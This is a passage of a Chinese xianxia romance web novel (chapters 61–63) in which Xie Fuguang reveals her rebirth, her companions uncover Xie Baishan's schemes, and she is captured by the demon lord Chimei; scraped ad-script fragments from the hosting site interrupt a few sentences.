“舒兄,说句不好听的,你也能听出来,以上种种都是我们根据事实做出的合理推断,你只是不愿信罢了。” “师兄,刚刚我要跟你说的还没说完,”这时谢扶光续上因崔惊厄到来被打断的话,给舒扬舟本就混沌的脑子又砸下盘古开天般的一锤,“我选择这些秘境,是由于它们在我眼里有着区别于其他秘境的白光标记,而之所以会得到这些标记,则是因为我曾与天道对过话。” “什么?”舒扬舟只觉脑子要炸了,“闯完万里悲丘全部一千个秘境才能有对话天道的机会,你我都是第一次来,你如何能见祂?” “师兄,我不是第一次了。” 舒扬舟一副“你在逗我”的表情,一时竟不知自己和师妹的脑子究竟哪个更有病,也可能都有点不正常。 他甚至生出个诡异的念头:或许脑子有病才是他们体内邪气的真正影响吧。 “我是重生过的人,”谢扶光看着舒扬舟,静静说,“而且前世,我很可能就是在万里悲丘死的。” 舒扬舟带着燥意的神情蓦地凝住了。 他睁大眼睛,看着谢扶光。 她说不清那是什么表情,总之……看得她有些难过。 谢扶光缓吸一口气,接着说:“天道告诉我,秘境舆图上的提示白光是我以离散亲故为代价换来的。” 说到这儿,她笑了一下:“师兄,我不知你心里怎么想,你别看我总爱与你争口舌,但在我心里,你就像亲哥哥一样。仔细想想,这些年我们有过接触的次数其实也没多少。我和崔惊厄都发现,我们两年前的记忆相当模糊,我想很可能是被改过了,大概我们原本是很熟悉的,却被那句‘离散亲故’分散开了吧。” 舒扬舟看着她,微张着口半晌没说话。 他自然也一直拿谢扶光当亲妹妹看,秘境之前他们接触寥寥,但那股愿意为家人付出的念想骗不了人,七星绝命剑上她的一星之位也做不了假。 先前他总以为对谢扶光的关心是因为她是谢白扇的女儿,但得知谢白扇可能有问题,他虽因本能百般不信,甚至神经都感到被拉扯的痛苦,却并没有多少悲伤情绪。 舒扬舟以为是他性子淡,可当谢扶光说自己前世独自闯过万里悲丘一千个秘境,从刀山血海杀出了一次重生机缘,他的心口一刺一刺,突然疼得厉害。 他虽很喜欢口头欺负师妹,心里却一直当她是整个修界最漂亮最强大的天才。 今日却被告知,意气风发的少女竟是风雪夜归人。 舒扬舟的眼睫很缓慢地眨了两下,一层薄雾在眼眶晕开一抹秾丽绯色。 “一千个秘境……”他几乎语塞,“你可真能,都不知道累么?” 今天也不知撞了什么邪,一个两个的都排着队心疼她。 谢扶光觉得再这么下去,自己泪腺都要被惯的发达了。 她绷住钢铁般的表情,摇头说:“我没有前世记忆,累不累早不记得了,不然也不至于在这儿就厉鬼的问题猜来猜去。” “哦对了,天道还给了我一条提示。”谢扶光又说,“祂提示我,要当心身边人。” 谢大小姐的亲故都散尽了,哪来什么身边人? 算一算,也只有谢白扇了。 毕竟谢白扇没有成为厉鬼的条件,不代表不会被厉鬼夺取躯壳。 “师兄,”看出舒扬舟仍在挣扎,谢扶光温声道,“难受就先别想了,在李兰允那儿大概能得到更多线索,我猜他一定在等我。” 等会儿还要进城,不宜让情绪耽搁正事。舒扬舟缓缓调息,压下心中不平静:“说到李兰允,你有什么打算?螭寐想必不会让我们轻易从他那儿得到答案。” “若我是螭寐,”谢扶光尝试从螭寐的角度思考,“我可能会……” 正猜着,舒扬舟食指竖在唇中,突然“嘘”了一声。 武艺精湛的修士通常对生人气息很敏感。 崔惊厄却拍拍他的肩,起身立在门口相迎。 门外是一白衣白发的老者。 老者出手很是阔绰,一出手就是一锭金子,告诉小二在他离开前,不要让别人上来。 小二领了金子,自不会不允,欢天喜地跑走了。 门从内阖上,崔惊厄朝老者拱手:“重轶前辈。” “重轶前辈是药王金殿的长老,今日碰巧在附近,感应到了宁道友的气息。”崔惊厄简单介绍,“前辈医术卓绝,是我拜托他过来帮忙瞧瞧邪气的事。” 这应当也是帮忙买山楂糕的“宁少爷的熟人”。 谢扶光吃人嘴短,起身见礼。 “老朽看不见诸位,仅能凭气息判断大体位置,”他虽这么说,环视一圈后,视线精准地逐一在四人身上滞留一瞬,足见其人实力不俗,最后他把视线落在谢扶光身上,一双眼好似能打破那层隐形,直看进了谢扶光的眼睛,“这位是谢大小姐?” 老者似有点不解:“邪气怎么会这般浓?” “邪气浓郁,是由于我身上装了条故友相赠的邪脉,”谢扶光说着,把邪脉卸下,那股邪气骤然就散了,“现在剩下的才是我体内自带的邪气,若有法子去除,还望前辈相助。” “你们与磐儿是一起闯关的同伴,一荣俱荣一损也俱损,我自不会坐视不管。”重轶道,“大小姐可否容老朽搭一搭脉?” 谢扶光依言把手腕递到重轶指尖。 重轶摸索着探过,神色微凝:“你体内邪气盘踞得很深,老朽也没法子彻底清除。” 谢扶光虽遗憾,但还在意料之中,前世这邪气既足以控制她神志,想必扎根极深,不容小觑。 “那前辈,可以帮我师兄看看么?他身上的应该会淡些。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 重轶帮舒扬舟也把了把脉,这次表情和缓许多:“确实淡些,老朽或可一试。” 重轶运功时不喜周围多人,只留了黎暨在门外护法,叫崔惊厄和谢扶光过会儿再进来。 两人出了客栈。 烈日高悬,洒下金光万顷。 谢扶光微眯着眼看,不由生出几分感怀。 也不知这人间好风光,以后还有没有机会看。 “喜欢太阳?”崔惊厄看着她有些贪恋的神色,避重就轻,“我知道许多日照充足之地,等以后安稳了,我们一起去。” “日照不充足也可以,”谢扶光牵起他手掌,带着薄茧的手指细细抚摸他每一块骨骼,玩不够似的,“山川、瀑布、险峻的、奇诡的、秀美的、冷的、暖的……所有的地方都可以。” “突然这么想游山玩水?” “嗯,近日来觉得活着很有滋味,想四处多走走看看。”谢扶光说。 从前她活得太糊涂,甚至生与死的界限都很模糊,自从进了万里悲丘,才总算生出些人的温度。 “大小姐,”人群最喧闹处,崔惊厄停下脚步,转头看着她轻轻说,“我愿你每天都快快乐乐的。” 上回他说“祝你快乐”是在第一次轮回境的农院,那场春日宴上。 当时她就在想,“祝你快乐”是比“不要难过”要更温柔的。 可不知怎么,她听到这一句,却想起了些不太快乐的事。 “我很小的时候,谢白扇给我讲过一个故事,他几乎从不给我讲故事,那是唯一一次,所以我记得很清楚。” “他给我讲的是小鲤鱼跃龙门,怎么跃的我忘记了,总之过程中虽然遇到了很多困难,小鲤鱼最终还是如愿成为了一条小龙。” “讲完了?”这不像谢白扇会讲的故事,崔惊厄觉得还有下文。 “快完了,就剩一句。”谢扶光果然说,“最后的最后,那条小龙变成了天庭宴会上的一道佳肴,名‘龙肝凤髓’,谢白扇当时说,它应当感到无上荣耀。” “这些年,我一直很困惑,为何他看起来对我毫无父女之情,却半分没含糊过对我的培养,时至今日我似乎有答案了。” “崔惊厄,我的存在,就是他亲手给自己养的食物吧。” 谢白扇,或者说被厉鬼剥魂夺壳后的谢白扇,他逐渐不满于现在的躯壳,所以他花了二十年时间,为自己培育了一个天才。 他要求她吃特定的食物,除特定的妖物,习特定的刀法,她的每一根骨头、每一块血肉都要长成他设想中的样子,他倾注大量心血培养她越过“龙门”,成为整个修界瞩目的渡业山大小姐,当之无愧的少年天才…… 而他做这一切,都只是为了杀她。 谢扶光这小半生,都在无知无觉中为了死而活着,而且是很努力很努力地活着。 “大小姐,”崔惊厄看着她,唇角勾了个凉薄的笑出来,“这个故事还是太俗套了,远不及玩火自焚与作茧自缚有意思。” “这世上从不缺输牌的庄家,也不乏被掀桌的主人,他既然敢让你入局,就得做好准备承受不死不休的代价。” “我是不是还没跟你讲过,算命说书入不敷出的时候,我也会去赌场混一阵子,逆风翻盘专业户了。” 61.洪福运脉 谢扶光看着他,蓦地就笑了。 “什么表情?你不会以为我在说大话吧?”崔惊厄拿腔拿调地哄着她笑,“我可不是那打肿脸充胖子逗姑娘开心的人。” “知道,你是真胖。” “哎大小姐你……” “我逗你呢,”谢扶光给人顺了顺毛,“我就是觉得自己挺幸运的。” “跟舒兄比啊?”崔惊厄也笑了。 “不是,我是真心觉得,自己运气还不错,”她说,“世间每天这么多的宴席,席上又这么多的菜,抗争的盘中餐总不止我一个。” 譬如叶放、轻尘、朱颜故,再譬如今日的李兰允,他们都是不愿做奴隶的人,与命运相搏的战士。 “但只有我,很幸运地得到了重来的机会。” 说来讽刺,谢白扇一早选好的龙肝凤髓,利用他培养的一身才学,闯过万里悲丘一千秘境,逆风翻盘赌了场重生机缘,回来向他这个东家寻仇了。 “但幸运不代表快乐,大小姐,你可以不用掩饰难过。” 崔惊厄看出了她很难过。 就在昨夜,她还隐隐动过一个念头,如果母亲宛流萤能回来,或许谢白扇会更好相处些,他们一家会变得不一样。 而事实上,她的家早就散了,如今支撑起一个“谢”字的,仅剩了她一人。 甚至母亲的失踪,都显得可疑起来。 人都说谢白扇从前不是这样冷的性子,是宛流萤失踪后受了刺激才会性情大变。 而若依照被厉鬼夺壳来解释,很难不让人猜测,或许宛流萤在朝夕相处中看出了什么,她是仓皇逃走或者逃出去求救的,而谢白扇找她的一年,更像是一场长久的追杀。 因果一下子颠倒,真相扑朔迷离,唯一可以肯定的只有一点:大小姐再也不可能有家了。 谢扶光垂眸,算是默认了难过,可她已硬了太久,一时还是不太习惯示弱。 所以她也只是安静地低了一会儿头。 “以前的家没了,可以再组新的。”半晌,再抬头时,她说。 “我说我运气不错,其实还有一个原因。”谢扶光说着,拇指抚摸过乐命刀柄的纹路:“我的刀柄之后,终于有人了。” 谢扶光从前除妖,全靠刀尖上悬的一个义字,而情分与正义终究是不一样的,她从不懂那句“以刀柄护亲友”的温度。 而在这险象环生的秘境,她的刀柄之后逐渐填满了人,这些人既是她的亲友,也是她以后的家人,是她勇往直前的念想,也是她受伤时可以托住她的后盾。 崔惊厄祝她快乐,快乐的人得知足,不宜揪着二十年前就没了的东西不放。 重轶给舒扬舟除邪气用了半个多时辰,他们回去时,舒扬舟浑身汗透,瘫在地上成了摊没骨头的猫。他平日把面子当命,谢扶光还是头回见他这般狼狈。 “从魂魄中剥离邪气,疼痛异常,好在舒少侠能忍,全程没发出什么声音,不然在店小二那儿就不好解释了。”重轶说完舒扬舟,又对谢扶光说,“对了,大小姐,刚刚忘了说,老朽这儿还有个东西可以降低邪气对你的影响。” 说着,他摸出一截细绳递给谢扶光:“这是真极绳,可对妖邪之气起捆缚作用,但效力不强,邪气若太强悍可能会随时脱离控制,只可暂用。想要一劳永逸,还是该找找其他法子,彻底清去。” “多谢前辈。”谢扶光恭身一揖,郑重接过绳子。 “此外还有一事,”重轶忽又露出个费解表情,“舒少侠自称体内邪气可能影响了他对一些事情的判断,依老朽之见,却是不止于此,对判断的影响只是顺带的,那邪气的存在,主要作用是从舒少侠体内夺取什么东西。” “具体是什么老朽不敢完全肯定,但确有一猜测。少侠乃世间罕见的洪福运脉,我观这邪气在他体内盘踞多年,从未对他的身体产生什么伤害,想来应是邪气背后之人要借他的运道,这才舍不得伤他。” 谢扶光:???!!! 洪福运脉…… 说谁?! 舒扬舟?! 鼓个掌都能把骰子从六力挽狂澜到一的舒扬舟?! 大小姐都听醉了。 “怎么?老朽猜测有误?”听到她略显夸张的吸气声,重轶问道。 “我师妹她沉不住气,反应大了些,前辈勿怪,”舒扬舟才缓过剥离邪气的余痛,就立刻起身站直,披回了人模狗样但嘴欠的皮,“实不相瞒,自有生以来,晚辈的运气一直是世间罕见的差,几乎什么千奇百怪的霉都能倒到我头上。” “原是如此,”重轶有些同情地点点头,“那我基本可以确信,你的鸿运全是通过那邪气被借走了,好在现在邪气已除,此后少侠大可以试着感受一下洪福运脉的效果。” 谢白扇自称仙盟事务繁重,这些年统共亲自教养了两名弟子。 一个是谢扶光,他的“亲生”女儿,他对她尽心培养,近乎倾注了全部心血,只为待鲤鱼越过龙门后,留下一副完美且强大的躯壳,作为龙肝凤髓来供他享用; 另一个舒扬舟,修炼上他鲜少去管,只教习了许多保命心法,因他舍不得这条罕见的洪福运脉断掉。 谢扶光不由讽笑一声,她就说为何“离散亲故”也未将她和舒扬舟从渡业山分开,而只是抹去了彼此间的亲密联系。 他们师兄妹原是被谢白扇的贪心与私欲紧紧牵到了一起。 “多谢前辈,我这就出去感受一下。”舒扬舟说完就往外走,行到门口还不忘扒拉了下谢扶光,微笑道,“师妹,从今天起,咱们渡业山最倒霉的人就是你了。” 谢扶光:…… 他们出门找宁磐和卢笑绒汇合。 据崔惊厄和重轶前辈一唱一和的说法,宁小少爷进了城,见了熟人,少爷病立刻就犯了,一会儿说掌心被谢扶光划伤的一刀疼得要命,一会儿又吵嚷着反手在背后绑了太久,血液循环受阻,两条手臂要废了。 重轶看他头疼,崔惊厄又惦记着找谢扶光,现下他身边只卢笑绒还好脾气地哄着他。 一行人往宁磐和卢笑绒 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 待的客栈方向走,沿途石楠花开得正盛。 舒扬舟受不了这味儿,提议换一条道。 于是他们穿插经过一条窄巷,就在巷尽头,遭遇了一位约莫四五十模样的落拓中年男子。 “东元兄?”重轶一见人就惊喜叫道。 重轶介绍说,赵东元是名很厉害的傀儡师,不属于任何一宗,乃以天为盖地为庐的一介散修。 重轶将六人的化影境告知,赵东元很乐意帮忙。 舒扬舟带头这一拐,他们稀里糊涂就抱了个金大腿。 洪福运脉…… 这回谢扶光真信了。 彼时宁磐正要求卢笑绒陪着玩双陆,卢笑绒赢了他就手疼,卢笑绒放水太明显他又头疼……几盘双陆玩下来,他已换了好几个疼法。 谢扶光进门时,卢笑绒因为太高兴,一不小心就赢了他,宁磐在床上打着滚赖叽,被凶悍的大小姐提刀威胁,抻着脖子没看见“娘家人”重轶,被迫支棱起几根骨头。 重轶还有正事要办,既有了赵东元带孩子,他便放心走了。 赵东元为人处事很低调,进了门就往门边一倚,没有开口的意思,谢扶光便挑起大梁。 她在出原来的客栈之前,就依照重轶教的,在前额缠上了真极绳。那条绳子此刻静静躺在她眉心,化成了一颗殷红朱砂,只要这记朱砂印不消散,就代表其捆缚着的邪气还尚未挣脱控制,无法对她进行监视,她现在说话行事能心安许多。 “我们说说进城后的计划,螭寐在明知我们要找李兰允的情况下,必不会轻易让我们得手,李兰允很可能已被他转移了位置。” “可舆图显示他人依然在康城啊。”宁磐捧着飞来石给的舆图,指给谢扶光看。 刚到那鸟不拉屎的传送点滇绥沟时,飞来石给过他们一张西华洲的全境舆图,舆图上有个特殊的标红点位,就落在康城。 那一点便象征李兰允的位置。 这张西华洲的全境舆图为小美人引领航向,确保他们没走冤枉路地到了康城,但也正因这舆图太全境了,康城在图上仅黄豆粒大小,李兰允那红点则是颗芝麻。 凭谢扶光的凡人眼力,实不能判断那颗芝麻落在黄豆粒的位置就是留春馆。 “李兰允当然要在康城,”她说,“但凡他在别处,螭寐就失去了我们在明他们在暗的优势。” 总归有舆图在手,无论将李兰允带到哪儿,他们都能迅速锁定其大体方位,而若在别处,他们身形透明,只有在康城,才能现出实体,动向更方便掌控。 “真狡猾。”宁磐忿忿哼了一声。 “这不算狡猾,”谢扶光淡淡看他一眼,“若连这点都想不到,螭寐这魔尊位子早让贤了。” “此外,若我是螭寐,必会在留春馆有所布置,毕竟关于李兰允被转移只是猜测,如果我们前往确认,他决不会放过这个瓮中捉鳖的机会。” “所以我们不能去咬这个钩!”宁磐信誓旦旦。 “不,”谢扶光却说,“这钩我们得咬。” 62.桃花债 “一方面,此方化影境牵涉甚广,我们势必得通关,明知山有虎,也不能放过一丝一毫可能。”谢扶光说完顿了一下,她看向卢笑绒。 卢笑绒一眼了悟,续上她的话:“另一方面,我得去李兰允生活过的地方捕捉他的气息,确保后续能在康城找到他。” “不行!太危险了!”宁磐第一个不同意,“你怎么这么听谢扶光的话?她让你去送死你也去啊!反正我不同意,你要是死了,就……就再没人陪我玩双陆了。” “有多大本事,担多少责任。”卢笑绒说着,下意识摸了摸发顶,那里簪着朵纯白绢花,是叶放死的那天簪上的,“论年纪,我和大小姐一样大;论本领,我虽不擅打斗,却也有旁人无法替代的用处。没道理大小姐在前头拼命,我却不能被当个人用,况且我活在世间,不止代表我一个人,肩上还负着师兄的遗志……” “可你这一去,怕就是生离死别……”宁磐说着悲从中来。 “停停停,先别这么晦气,”谢扶光扼住宁少爷动不动瞎泛滥的情绪,“得益于我师兄的洪福,我们拉来了一位贵人相助。” 宁磐往他们身后看,一脸茫然:“哪来的贵人?” “哦,我给你介绍一下,这位是很厉害的傀儡师赵东元……”洪福本人舒扬舟热情介绍。 哪知话说一半被宁磐从中截断:“你们说的贵人就是老赵?没劲,还以为谁呢。” “臭小子还敢嫌弃我,也不知道谁小时候哭着闹着要我带着玩!” 两人一来一往互怼了几句,众人终于醒悟到一个事实——宁小少爷含着金汤匙出生,在西华洲是真的呼风唤雨,有名的一些大能大多是他的忘年交。 “老赵能干什么啊?”宁磐有点嫌弃。 事实证明,一旦某人是你的朋友,无论他如何呼风唤雨声名在外,你永远当他是草台班子。 “赵大师能帮忙的事可多了,譬如……以假乱真啊。” 彼时的宁磐还不明白,直至当日晚,街头巷尾每隔个几百米都有六人组的身影,康城百姓近乎每一位都偶遇了这群生得很好看的人,把螭寐留在城中的可怜暗哨们都遛麻了。 谢扶光如此安排,自不只是为了遛魔头玩,她还没那闲情逸致。 她真正的目的,是想通过他们的出现,在水一样潜藏各处的暗哨间搅动起涟漪。 涟漪最密处便是李兰允的真正所在。 一番行动过后,他们把目标地点缩小到距留春馆七公里左右的一家乐坊。 至于如何在乐坊中“偷”到人,还要看卢笑绒那边的行动。 夜幕拉下,明月高悬。 卢笑绒与非要跟着的宁磐通过黎暨复刻出的地行符咒,“闪现”在留春馆李兰允的房间,与他们一同来捣乱的还有崔惊厄、谢扶光、舒扬舟和黎暨……的四只傀儡。 “我和崔惊厄是螭寐最大的两根眼中钉,我们几个一同出现,他若有布置,必会先捡着我们下手,估计过个两三招后,他就能判断出我们其实是傀儡,他对你的警惕性极低,应该不会想到一众傀儡中混进了你这个真人。你便利用他的反应时间,收集李兰允的气息再利用地行符遁走。” 与谢扶光所料别无二致,螭寐亲自在李兰允房间的梁柱上潜藏,见到一行六人,视野自带屏障似的,隔绝周围一众附庸,黑气直卷向崔惊厄和谢扶光。 赵东元的傀儡造诣登峰造极,一个个假人乍看与真人无异,甚至出招时拉开的动作都没有差别,唯一不同的是,傀儡本身没有灵力,对上几招后便能看出。 卢笑绒心跳如擂鼓,连着额角神经都一抽一抽,紧张更催快了她的动作。 她发现,梳妆镜前确实坐了个“李兰允”,但这个李兰允是假的,卢笑绒在他身上闻到的气息非常单一,且与整间屋子的味道极不搭调。 从房间里挑拣李兰允的气息并不容易,因他在此处接待过太多恩客,气味混杂,好在大小姐早有准备,临行前从那宝库一样的储物袋里取出一个收纳气息的小瓶子,给了卢笑绒。 卢笑绒乱中有序收集好气息,就要功成身退,然而离开时出了点小岔子。 螭寐发现与他过招的崔惊厄和谢扶光是傀儡后,确实没有细究其余几个凑数的,卢笑绒就在他身后悄然脱身,至此一切都很符合谢扶光的预料。 然而变故就发生在下一刻。 宁磐在催动地行符的瞬间,一时脑抽想要干件很爷们的大事,于是自作主张朝着背对他们的螭寐砸了颗雷火弹。 螭寐何其敏锐,他虽因自负忽视了卢笑绒这种跳蚤样的小角色,却对每一样兵刃每一件杀器的风声敏锐至极。 他甚至不消转身,反手一挥,那雷火弹就在半空炸开,宁磐被火焰与烟雾迷了眼,所有动作停滞一瞬,下一刻黑气便袭在了他前胸。 堪称暴烈的痛感炸开在他胸膛,宁小少爷养尊处优多年,哪受过这种伤,他甚至疼得无法自理,还是卢笑绒眼疾手快拉了他一把,以地行符把他带到了一公里外一片少有人经过的树丛。 停下来时,宁磐前胸已被黑气噬出一个碗口大的洞,他气息奄奄,惨叫声都小了。 这是近日来卢笑绒第二次面对逐息黯淡的生命。 上一次是在轮回境,死了她的师兄叶放。 那场轮回境中所有事都可重来,生死皆不作数,唯独她与师兄是强行并入其中的外来客,叶放死了就是真的死了。 那一天叶放的床榻边聚了许多人,众人齐力在她身后撑起了一面盾;不似今日,宁磐身边只有她一个,她自己得成为那面盾,护住她的新同伴。 卢笑绒脑子很晕,神志被恐惧强行吊起一丝险伶伶的清明。 她想起谢扶光的嘱托。 大小姐既敢派她过来,自是做好了一切准备,谢扶光早预料过螭寐亲自守株待兔的情形。 “螭寐功法里,有一个很霸道的黑气,”犹记谢扶光冷静平和的声音不疾不徐道,“一旦沾染上那黑气,身上皮肉即会迅速被啃噬,我这里有几道护体符箓,其中 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 蕴藏大量灵气,最多与那邪气相抗半个时辰左右,如不幸中招,你需得立即找到我,我可尝试帮你驱除黑气……” 谢扶光接到卢笑绒的隔空寄音是在卢笑绒前往留春馆的一炷香后。 看到虚空中卢笑绒通讯图纹的刹那,她右眼轻跳了跳。 崔惊厄侧头瞥见,伸出一只温热掌心,为她压下那跃动的不祥。 “大小姐,宁磐胸口沾上螭寐的黑气了。”那头卢笑绒从语气听不出太泛滥的情绪,只是声音微微发着抖,身旁间或夹杂几声宁磐难耐的呻吟,“你在哪儿?我们可以来找你吗?” 谢扶光停顿片刻,说出的是另一个地点。 那地点将两人当前距离折了个中,可节省路上时间,是她做计划之初便预备好的,附近没什么人,适合藏匿,若赶上杀人放火,也不会殃及池鱼。 挂断隔空寄音,谢扶光动身前,转头与崔惊厄对视了一眼。 他的掌心仍轻轻覆着她的眼,由于动作太轻柔,那右眼皮的躁动没有被压下,反而有愈加喧嚣之势。 “我陪你去。”崔惊厄收回手说。 “你有你的事要做。”谢扶光没有答应。 崔惊厄喉结上下滚过,理智与私欲博弈了数个回合,最终问出口的是:“今夜能回来么?” 谢扶光笑笑:“这得看螭寐有没有循着黑气追过来。” 宁磐身上的黑气就像个标记,那是螭寐自己的东西,被带着走到了哪儿他自然清楚。之所以一直没追上来,还任由卢笑绒以隔空寄音求援,他以宁磐为饵,想要狩猎的是谁不言而喻。 “但没关系,”她说着,凑近崔惊厄,安抚地啄了啄他的唇角,“你不是说了,‘这世上从不缺输牌的庄家,也不乏被掀桌的主人’,他既然敢做局,就得做好不能全身而退的准备。” 时间仓促,容不下多几句当面的话别,谢扶光说完就要走,左手指尖被崔惊厄从后捞住。 康城是个繁华大城,比之轮回境中明镜台周边两人同游过的小城,大了不知有多少,他们两个血肉真实的人混在一众傀儡之中,享有着最真切的悲欢。 身后灯火璀璨,崔惊厄一贯轻扬着的眼角却泄出几丝落寞,但正如谢扶光所说,他们都有自己的事要办,纵能想见她将面临的危险,他也没有阻拦。 崔惊厄发出了一声干巴笑音,却无一个五官染上笑意:“亲完就跑,太不负责了,你得记得,你欠了我一笔桃花债,得平安回来算。” “咱们别出心裁一点,别搞男左女右那套了,这样,我右手,你左手,我觉着这姻缘线还是这么牵最好……” “大小姐,我这握剑的右手可是与你牵上了姻缘线,你得对我负责,几辈子都不能抛弃我了……” 恰好一朵烟花炸开,相似的一句浮出记忆的水面,远得像从前世飘来。 “崔惊厄,”谢扶光轻轻说,“你别怕,我会对你负责,不会抛弃你的。” 说完她挥挥左手,纤长身影消失在烟花余烬中。 63.千秋雪 卢笑绒拖着宁磐,脚程要慢些,谢扶光饶是耽搁了一会儿,仍先他们一步抵达。 “螭寐的气息一直缀在我们后面。”这半夜又是惊惶又是折腾,卢笑绒双眼布满血丝,原本一张柔软的娃娃脸,此刻下颌线绷得冷硬,整个人又呈现出叶放死时的困兽模样,“都怪我太慢了,没能甩开他,大小姐你带他躲吧,我拖住螭寐。” “不是你慢,”谢扶光拉过已痛晕过去的宁磐,边流转灵脉和朱颜故那条邪脉的力量,边淡淡道,“螭寐是顺着宁磐体内的黑气追来的。” “那我……”卢笑绒混沌多时的脑子发出一声沉重嗡鸣。 她以为凭大小姐的速度,将宁磐交给谢扶光,或许能躲开螭寐的追赶,孰料竟是一时昏头,中了螭寐的圈套。 而倘若再来一次,即便明知如此,她还是没办法眼睁睁看着同伴丧命。 “你全都是按我说的做的,多亏你,他的命保住了。” 危机关头,谢扶光对朱颜故留给她的邪脉有了更深领悟,刚开始为宁磐驱除黑气还有些滞涩,几句话功夫动作已快了许多。 但还不够快。 卢笑绒可以嗅到,螭寐那强横的魔气愈来愈浓,密云一样近乎将她罩下。 “谢……谢扶光,”随黑气的去除,宁磐好受许多,意识缓慢回笼,“你……你别管我了,你若折在这儿,我们药王金殿再大富大贵,我也……也偿不上你一条命的大人情。” 大小姐气他不守规矩,压根没搭理他废话,况且螭寐的魔息已浓郁到她一个没有极品嗅觉的人也能闻见了。 空中隐隐约约飘来螭寐两声标志性的奸笑,谢扶光也不知是不是幻听。 她在最后的几息光景,将朱颜故那根邪脉悟到了极致,生生赶在螭寐过来前,将宁磐身上黑气悉数除尽,推着卢笑绒带他走,自己留下,成为拖住螭寐的那一个。 “你的嗅觉很好,躲避螭寐手底下那群废物,应当不在话下。你去帮崔惊厄,找李兰允的任务不变,不要因为我乱了阵脚。” 谢扶光交代完这一句,用灵力替两人点燃了地行符,再转身螭寐就闪现在了她面前。 谢扶光讨厌崔惊厄以外的男人靠近,当即往后退了一大步,她眼珠在眼眶兜了一圈,说道:“男女有别,魔尊既说是看着我长大的,想来也瞧见了昨夜的事,我是有道侣的人,你最好离我远些。” 一般情况下,大小姐是不爱说话的,对上这种阴沟里的东西,问候的方式通常是乐命的刀锋。 之所以有这一句,是她存了试探的心思。 螭寐没她那么多弯弯绕绕,微蹙着眉,带着几分探究问道:“昨夜?” 谢扶光之前便猜测:既然她魂魄里的脏东西非魔气,一直隐于暗处窥探她的或许不是螭寐。 此刻螭寐的茫然显然佐证了这一猜测。 看谢白扇与螭寐的关系,应当也不会将诸事事无巨细告知,螭寐或许还不知她体内有朱颜故给的邪脉存在。 她顺势又试探一句:“魔尊不好奇我如何替宁磐除去的黑气么?” “大小姐身份尊贵,得天独厚,自然什么宝贝都有。”谢扶光自幼享有修界头一份的资源,她有法子去除黑气,螭寐不觉得是什么意外的事。 看来那根邪脉,他果然不知道。 谢扶光有些高兴。 战场上有个说法叫“知彼知己”,古往今来不知多少强者死于信息差。 这条不为螭寐所知的邪脉或许能攻其不备。 该如何把这点信息差充分利用起来? 谢扶光面上不动声色,内里心念电转。 她的表现太淡然,让螭寐心生一种被忽视的不快。 “不再挣扎一下?”他问,“束手就擒不是大小姐的风格吧。” 谢扶光摊手:“我又打不过你,况且……” “谢白扇将我剥魂夺壳前,不舍得我出事吧?” 螭寐闻言,鼻子里哼笑一声,谢白扇多年谋算被窥破,倒似令他颇为愉悦。 “被你猜出来了?他藏得也没那么深嘛!” 螭寐稍一高兴,就容易忘形,抬起手背要抚上谢扶光的脸,被她偏头嫌恶地避开。 他倒没坚持,从善如流收回手:“趁你还没换上他那讨厌的芯子,我看你尚算顺眼,化影境通关之前,你便陪着我吧。” 螭寐养尊处优数百年,又因强大到足够碾压绝大多数生灵的武力习惯了一言堂,说话行事早失了上位初期的谨慎,加之这些年被谢白扇压着,他心情不佳,终日酗酒睡女人,有点浪坏了脑子。 与他打交道就这点好处,随口一句就可能泄出几句信息。 他说“化影境通关之前”,而不是“谢白扇到来之前”。 谢扶光推断,谢白扇想将她剥魂夺壳,应当有条件限制,或许需得出了化影境? 有这点倚仗,她便可以在这里放手做些事了。 “魔尊真是不把我放在眼里,”谢扶光压下那丝隐秘的欢喜,冷嗤道,“怎么说我也是这一代刀修第一人,让我陪你,不怕半夜掉了脑袋么?” 螭寐闻言连声大笑:“大小姐好魄力,有意思,好久没碰上这么有趣的事了,我们不如试试,看你能不能要了我的脑袋。” 一旦出了康城地界,谢扶光身形就会隐匿,化影境规矩如此,便是魔尊也奈何不得。 欣赏不到她被困的形容,将大大削弱螭寐的乐趣。 他没有把她带到太远的地方,谢扶光被囚进了康城至东的南屿山,半山腰的位置开了个山洞,洞口极深,距离地面也很高,只能透出微弱光亮,近乎隔绝一切声响。 “这下便是那狗鼻子也追不过来了。”螭寐不无得意。 他环顾一周,只可惜洞中设施委实太过简陋,不是他能久待的地方。 尊贵的臀在一块生了青苔的潮湿石头上委屈了半晌,便已坐不住,螭寐起身,打算命人往里添置些家当。 转身的瞬间,被酒泡皱了的脑子兀地闪了个灵光,他回过头,抱着手臂在谢扶光身周踱了一圈。 谢扶光四肢被螭寐特制的锁链锁死在石壁,一只花蜘蛛正在她头顶结网,吐出长长白丝,擦过她乌亮的发。 “险些忘了,”他双眸危险地一眯,“你左手能与那个姓崔的交流是不是?” 谢扶光不答。 捆住她的锁链极尽复杂,据螭寐大嘴巴抖露,唯独以他黑气方能化解,被如此捆缚,她连灵力的流转都深受限制。 原本她确实动了使用掌心通讯纹联络崔惊厄的心思,哪知螭寐这醉鬼突然反应过来,断了她这条路。 螭寐掌心涌动起黑气几缕, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 将她左手团团缠住,遮挡了那道通讯纹路。 随着她动作,谢扶光眉心狠狠一跳。 这困兽样的神态显然很好取悦了螭寐,他眉目弯起,眼角细纹都涌了出来。 谢扶光却无暇觉得恶心。 适才她眉心的那一跳并非出于忌惮,而是…… 在螭寐黑气覆上她左掌的瞬间,她感到体内朱颜故给的那条邪脉难抑地一颤,不是被压制的恐惧,更像对能量的渴望。 谢扶光拼力压抑邪脉的躁动,不让螭寐发觉端倪,为骗取更多黑气,她口中出言相激:“你如此做绝,不怕我自尽么?” “你不会,”螭寐很了解她似的,想来跟着谢白扇这些年,对她做过好一番研究,“与其这么不划算又窝囊地死,尽力脱困后杀了我更像你的选择。” “可今时不同往日啊,”谢扶光继续引诱,“从前我活着是为了自己,如今落到这处境,我那么珍惜这副身体干什么,为了便宜谢白扇么?” “你该知道,我宁可死,也不想把身体留给他。” 